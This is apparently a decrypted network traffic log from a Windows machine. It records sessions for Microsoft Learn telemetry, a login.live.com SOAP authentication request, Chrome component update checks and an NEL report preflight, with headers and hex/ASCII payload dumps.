2024-12-02 10:22:50 UTC	800	OUT	OPTIONS /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&ext.intweb.msfpc=GUID%3Dbe8155348e2142be9cb7a480d0e975f5%26HASH%3Dbe81%26LV%3D202412%26V%3D4%26LU%3D1733134964658&w=0 HTTP/1.1 Host: browser.events.data.microsoft.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: apikey,cache-control,client-id,client-version,content-type,time-delta-to-apply-millis,upload-time Origin: https://learn.microsoft.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:51 UTC	608	IN	HTTP/1.1 200 OK Cache-Control: public, 3600 Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: AuthMsaDeviceTicket,AuthXToken,Content-Encoding,Content-Type,Cache-Control,Client-Id,SDK-Name,sdk-version,apikey,x-apikey,client-version,upload-time,time-delta-to-apply-millis,client-time-epoch-millis,persistence-mode,reliability-mode,NoResponseBody Access-Control-Max-Age: 3600 Access-Control-Allow-Origin: https://learn.microsoft.com Date: Mon, 02 Dec 2024 10:22:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.11.20	49980	52.182.143.214	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:50 UTC	1236	OUT	POST /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&ext.intweb.msfpc=GUID%3Dbe8155348e2142be9cb7a480d0e975f5%26HASH%3Dbe81%26LV%3D202412%26V%3D4%26LU%3D1733134964658&w=0 HTTP/1.1 Host: browser.events.data.microsoft.com Connection: keep-alive Content-Length: 2441 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" upload-time: 1733134967632 sec-ch-ua-mobile: ?0 client-version: 1DS-Web-JS-4.3.3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 time-delta-to-apply-millis: 3635 content-type: application/x-json-stream cache-control: no-cache, no-store apikey: c6c27850c9c24cbfae921778d2465031-4c28c161-db47-426b-9d28-733d45d05dd9-7278 Client-Id: NO_AUTH sec-ch-ua-platform: "Windows" Accept: / Origin: https://learn.microsoft.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282; MUID=198A1722808E649629FA026B848E627A
2024-12-02 10:22:50 UTC	2441	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 55 70 64 61 74 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 30 32 54 31 30 3a 32 32 3a 34 36 2e 39 33 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 63 36 63 32 37 38 35 30 63 39 63 32 34 63 62 66 61 65 39 32 31 37 37 38 64 32 34 36 35 30 33 31 22 2c 22 65 78 74 22 3a 7b 22 77 65 62 22 3a 7b 22 69 73 4d 61 6e 75 61 6c 22 3a 66 61 6c 73 65 2c 22 64 6f 6d 61 69 6e 22 3a 22 6c 65 61 72 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 73 63 72 65 65 6e 52 65 73 22 3a 22 31 39 32 30 58 31 30 38 30 22 2c 22 75 73 65 72 43 6f 6e 73 65 6e 74 22 3a 66 61 6c 73 65 2c 22 63 6f 6e 73 65 6e 74 44 65 74 61 69 6c 73 22 3a 22 7b 5c 22 52 65 71 75 69 72 65 Data Ascii: {"name":"Ms.Web.ContentUpdate","time":"2024-12-02T10:22:46.939Z","ver":"4.0","iKey":"o:c6c27850c9c24cbfae921778d2465031","ext":{"web":{"isManual":false,"domain":"learn.microsoft.com","screenRes":"1920X1080","userConsent":false,"consentDetails":"{\"Require
2024-12-02 10:22:51 UTC	461	IN	HTTP/1.1 200 OK Content-Length: 24 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 3465 Access-Control-Allow-Headers: time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://learn.microsoft.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 02 Dec 2024 10:22:51 GMT Connection: close
2024-12-02 10:22:51 UTC	24	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 7d 7d Data Ascii: {"acc":1,"webResult":{}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.11.20	50019	40.126.62.130	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:23:01 UTC	420	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19042.0.0; IDCRL-cfg 16.000.29143.3; App svchost.exe, 10.0.19041.546, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4737 Host: login.live.com
2024-12-02 10:23:01 UTC	4737	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 10:23:02 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 10:22:02 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: bb432766-3332-4fb3-93ea-a3669172f60e PPServer: PPV: 30 H: SN1PEPF0002F0EE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 10:23:01 GMT Connection: close Content-Length: 10965
2024-12-02 10:23:02 UTC	10965	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.11.20	50038	192.178.49.195	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:23:34 UTC	1339	OUT	POST /service/update2/json?cup2key=14:m_-1d8PI5jcv1m-7mKYTm2UGtQQFrepy-BwK3FQs80E&cup2hreq=bdc31e6c5bb4ef6e71ee23b89250c3d120d165a01f8cd53b2a685f4ec91dbe45 HTTP/1.1 Host: update.googleapis.com Connection: keep-alive Content-Length: 6606 X-Goog-Update-AppId: ihnlcenocehgdaegdmhbidjhnhdchfmm,neifaoindggfcjicffkgpmnlppeffabd,kiabhabjdbkjdpjbpigfodbdjmbglcoo,oimompecagnajdejgnnjijobebaeigek,niikhdgajlphfehepabhhblakbdgeefj,gcmjkmgdlgnkkcocmoeiminaijmmjnii,efniojlnjndmcbiieegkicadnoecjjef,giekcmmlnklenlaomppkphknjmnnpneh,obedbbhbpmojnkanicioggnmelmoomoc,ojhpjlocmbogdgmfpkhlaaeamibhnphh,jflookgnkcckhobaglndicnbbgbonegd,khaoiebndkojlmppeemjhbpbandiljpe,ehgidpndbllacpjalkiimkbadgjfnnmc,ggkkehgbnfjpeggfpleeakpidbkibbmn,hfnkpimlhhgieaddgfemjhofmfblmnib,jflhchccmppkfebkiaminageehmchikm,laoigpblnllgcgjnjnllmfolckpjlhki,llkgjffcdpffmhiakmfcdcblohccpfmo,cocncanleafgejenidihemfflagifjic,jamhcnnkihinmdlkakkaopbjbbcngflc,eeigpngbgcognadeebkilcpcaedhellh,gonpemdgkjcecdgbnaabipppbmgfggbe X-Goog-Update-Interactivity: bg X-Goog-Update-Updater: chrome-128.0.6613.120 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd
2024-12-02 10:23:34 UTC	6606	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 40 6f 73 22 3a 22 77 69 6e 22 2c 22 40 75 70 64 61 74 65 72 22 3a 22 63 68 72 6f 6d 65 22 2c 22 61 63 63 65 70 74 66 6f 72 6d 61 74 22 3a 22 63 72 78 33 2c 70 75 66 66 22 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 69 68 6e 6c 63 65 6e 6f 63 65 68 67 64 61 65 67 64 6d 68 62 69 64 6a 68 6e 68 64 63 68 66 6d 6d 22 2c 22 62 72 61 6e 64 22 3a 22 47 47 4c 53 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 3a 22 2c 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 70 69 6e 67 22 3a 7b 22 70 69 6e 67 5f 66 72 65 73 68 6e 65 73 73 22 3a 22 7b 66 34 33 32 39 39 30 64 2d 66 35 66 65 2d 34 30 62 32 2d 39 34 33 34 2d 61 33 37 31 34 37 31 39 34 64 61 39 7d 22 2c 22 72 64 22 3a 35 33 Data Ascii: {"request":{"@os":"win","@updater":"chrome","acceptformat":"crx3,puff","app":[{"appid":"ihnlcenocehgdaegdmhbidjhnhdchfmm","brand":"GGLS","cohort":"1::","enabled":true,"lang":"en-US","ping":{"ping_freshness":"{f432990d-f5fe-40b2-9434-a37147194da9}","rd":53
2024-12-02 10:23:34 UTC	1038	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'none';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 02 Dec 2024 10:23:34 GMT X-Cup-Server-Proof: 3046022100dffe711c4d7f2e1cbec3d3d42dbf8fae247c0a8d146112430bac7da9ec97bf0f022100ebfd3a16c12f9c18a40d4c7f2878f02196c6cd0f5549af5c89502a93dbedcf28:bdc31e6c5bb4ef6e71ee23b89250c3d120d165a01f8cd53b2a685f4ec91dbe45 ETag: W/"3046022100dffe711c4d7f2e1cbec3d3d42dbf8fae247c0a8d146112430bac7da9ec97bf0f022100ebfd3a16c12f9c18a40d4c7f2878f02196c6cd0f5549af5c89502a93dbedcf28:bdc31e6c5bb4ef6e71ee23b89250c3d120d165a01f8cd53b2a685f4ec91dbe45" Content-Type: application/json; charset=utf-8 Content-Length: 21648 X-Daynum: 6545 X-Daystart: 8614 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-02 10:23:34 UTC	1255	IN	Data Raw: 29 5d 7d 27 0a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 70 72 6f 64 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 33 2e 31 22 2c 22 64 61 79 73 74 61 72 74 22 3a 7b 22 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 22 3a 38 36 31 34 2c 22 65 6c 61 70 73 65 64 5f 64 61 79 73 22 3a 36 35 34 35 7d 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 69 68 6e 6c 63 65 6e 6f 63 65 68 67 64 61 65 67 64 6d 68 62 69 64 6a 68 6e 68 64 63 68 66 6d 6d 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6e 6f 75 70 Data Ascii: )]}'{"response":{"server":"prod","protocol":"3.1","daystart":{"elapsed_seconds":8614,"elapsed_days":6545},"app":[{"appid":"ihnlcenocehgdaegdmhbidjhnhdchfmm","cohort":"1::","status":"ok","cohortname":"","ping":{"status":"ok"},"updatecheck":{"status":"noup
2024-12-02 10:23:34 UTC	1255	IN	Data Raw: 6e 6c 70 70 65 66 66 61 62 64 5f 31 2e 30 2e 32 37 33 38 2e 30 5f 77 69 6e 36 34 5f 6b 6a 34 64 70 35 6b 69 66 77 78 62 64 6f 64 71 6c 73 37 65 35 6e 7a 68 74 6d 2e 63 72 78 33 22 2c 22 66 70 22 3a 22 31 2e 63 39 30 30 62 61 39 61 32 64 38 33 31 38 32 36 33 66 64 34 33 37 38 32 65 65 36 66 64 35 66 62 35 30 62 61 64 37 38 62 66 30 65 62 32 63 39 37 32 62 35 39 32 32 63 34 35 38 61 66 34 35 65 64 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 6d 4d 64 44 68 6b 67 66 46 78 73 4a 79 35 53 51 4b 42 61 49 4f 53 37 76 76 39 30 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 6b 69 61 62 68 61 62 6a 64 62 6b 6a 64 70 6a 62 70 69 67 66 6f 64 62 64 6a 6d 62 67 6c 63 6f 6f 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 Data Ascii: nlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3","fp":"1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed","required":true,"hash":"mMdDhkgfFxsJy5SQKBaIOS7vv90\u003d"}]}}}},{"appid":"kiabhabjdbkjdpjbpigfodbdjmbglcoo","cohort":"1
2024-12-02 10:23:34 UTC	1255	IN	Data Raw: 61 69 2e 63 72 78 33 22 2c 22 66 70 22 3a 22 31 2e 66 62 64 30 64 37 32 30 36 66 38 36 35 30 64 34 34 32 65 62 37 37 32 61 30 33 38 33 39 61 61 62 63 37 37 38 62 30 32 32 35 61 65 65 30 34 35 38 39 63 61 38 63 64 61 64 32 61 61 39 39 63 63 61 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 4a 49 73 47 76 65 6a 6d 57 7a 45 4d 6a 46 32 73 5a 46 44 43 72 4d 61 6c 53 34 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 6f 69 6d 6f 6d 70 65 63 61 67 6e 61 6a 64 65 6a 67 6e 6e 6a 69 6a 6f 62 65 62 61 65 69 67 65 6b 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 31 7a 64 78 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 34 2e 31 30 2e 32 38 33 30 2e 30 20 74 6f 20 57 Data Ascii: ai.crx3","fp":"1.fbd0d7206f8650d442eb772a03839aabc778b0225aee04589ca8cdad2aa99cca","required":true,"hash":"AJIsGvejmWzEMjF2sZFDCrMalS4\u003d"}]}}}},{"appid":"oimompecagnajdejgnnjijobebaeigek","cohort":"1:1zdx:","status":"ok","cohortname":"4.10.2830.0 to W
2024-12-02 10:23:34 UTC	333	IN	Data Raw: 63 33 35 38 30 31 63 36 33 34 37 62 65 34 35 39 37 63 30 64 35 66 66 39 38 37 31 64 33 37 61 61 34 64 37 61 39 33 37 36 65 38 34 38 35 35 66 32 33 61 36 36 39 34 37 35 22 2c 22 73 69 7a 65 22 3a 36 37 31 31 2c 22 6e 61 6d 65 22 3a 22 6e 69 69 6b 68 64 67 61 6a 6c 70 68 66 65 68 65 70 61 62 68 68 62 6c 61 6b 62 64 67 65 65 66 6a 5f 32 30 32 34 2e 31 31 2e 31 38 2e 30 30 5f 61 6c 6c 5f 61 63 6a 33 77 72 6c 6d 36 78 61 76 67 70 6c 69 74 37 6f 6d 75 66 6e 61 70 70 61 61 2e 63 72 78 33 22 2c 22 66 70 22 3a 22 31 2e 34 38 37 35 36 62 34 35 63 33 35 38 30 31 63 36 33 34 37 62 65 34 35 39 37 63 30 64 35 66 66 39 38 37 31 64 33 37 61 61 34 64 37 61 39 33 37 36 65 38 34 38 35 35 66 32 33 61 36 36 39 34 37 35 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 Data Ascii: c35801c6347be4597c0d5ff9871d37aa4d7a9376e84855f23a669475","size":6711,"name":"niikhdgajlphfehepabhhblakbdgeefj_2024.11.18.00_all_acj3wrlm6xavgplit7omufnappaa.crx3","fp":"1.48756b45c35801c6347be4597c0d5ff9871d37aa4d7a9376e84855f23a669475","required":true,"
2024-12-02 10:23:34 UTC	1255	IN	Data Raw: 64 22 3a 22 67 63 6d 6a 6b 6d 67 64 6c 67 6e 6b 6b 63 6f 63 6d 6f 65 69 6d 69 6e 61 69 6a 6d 6d 6a 6e 69 69 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 62 6d 31 2f 32 70 75 66 3a 32 70 75 6c 40 30 2e 35 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 52 6f 6c 6c 6f 75 74 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 73 37 6c 74 66 6c 32 67 Data Ascii: d":"gcmjkmgdlgnkkcocmoeiminaijmmjnii","cohort":"1:bm1/2puf:2pul@0.5","status":"ok","cohortname":"Rollout","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/ads7ltfl2g
2024-12-02 10:23:34 UTC	1255	IN	Data Raw: 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 41 75 74 6f 20 53 74 61 67 65 33 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6a 72 37 62 77 71 66 6e 73 71 73 36 68 76 6b 32 70 7a 73 76 6b 75 66 34 6b 65 5f 31 31 34 38 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 Data Ascii: cohortname":"Auto Stage3","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/jr7bwqfnsqs6hvk2pzsvkuf4ke_1148/"},{"codebase":"https://edgedl.me.gvt1.com/edgedl/release2
2024-12-02 10:23:34 UTC	1255	IN	Data Raw: 69 6e 74 22 3a 22 41 75 74 6f 22 2c 22 61 70 70 69 64 22 3a 22 6f 62 65 64 62 62 68 62 70 6d 6f 6a 6e 6b 61 6e 69 63 69 6f 67 67 6e 6d 65 6c 6d 6f 6f 6d 6f 63 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 73 36 66 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 41 75 74 6f 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 68 64 64 71 64 6f 65 36 33 Data Ascii: int":"Auto","appid":"obedbbhbpmojnkanicioggnmelmoomoc","cohort":"1:s6f:","status":"ok","cohortname":"Auto","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/hddqdoe63
2024-12-02 10:23:34 UTC	1255	IN	Data Raw: 22 3a 22 4a 66 4b 2b 63 45 5a 4b 77 72 72 6a 6c 6d 7a 42 67 46 55 59 55 45 6f 56 68 53 41 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 63 6f 68 6f 72 74 68 69 6e 74 22 3a 22 41 75 74 6f 22 2c 22 61 70 70 69 64 22 3a 22 6f 6a 68 70 6a 6c 6f 63 6d 62 6f 67 64 67 6d 66 70 6b 68 6c 61 61 65 61 6d 69 62 68 6e 70 68 68 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 77 30 78 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 41 6c 6c 20 75 73 65 72 73 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 Data Ascii: ":"JfK+cEZKwrrjlmzBgFUYUEoVhSA\u003d"}]}}}},{"cohorthint":"Auto","appid":"ojhpjlocmbogdgmfpkhlaaeamibhnphh","cohort":"1:w0x:","status":"ok","cohortname":"All users","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://edg
2024-12-02 10:23:34 UTC	1255	IN	Data Raw: 74 22 3a 22 31 3a 73 37 78 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 41 75 74 6f 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 62 6b 33 71 7a 66 77 68 7a 6a 33 69 6a 33 68 78 65 6f 35 73 68 71 62 69 79 71 5f 33 30 35 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 Data Ascii: t":"1:s7x:","status":"ok","cohortname":"Auto","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acbk3qzfwhzj3ij3hxeo5shqbiyq_3051/"},{"codebase":"https://edgedl.me.gv

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.11.20	50041	23.209.84.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:23:37 UTC	413	OUT	OPTIONS /api/report?cat=mdocs HTTP/1.1 Host: mdec.nelreports.net Connection: keep-alive Origin: https://learn.microsoft.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:23:38 UTC	441	IN	HTTP/1.1 503 Service Unavailable Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 280 Expires: Mon, 02 Dec 2024 10:23:37 GMT Date: Mon, 02 Dec 2024 10:23:37 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.2bc1c917.1733135017.48ea3026 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
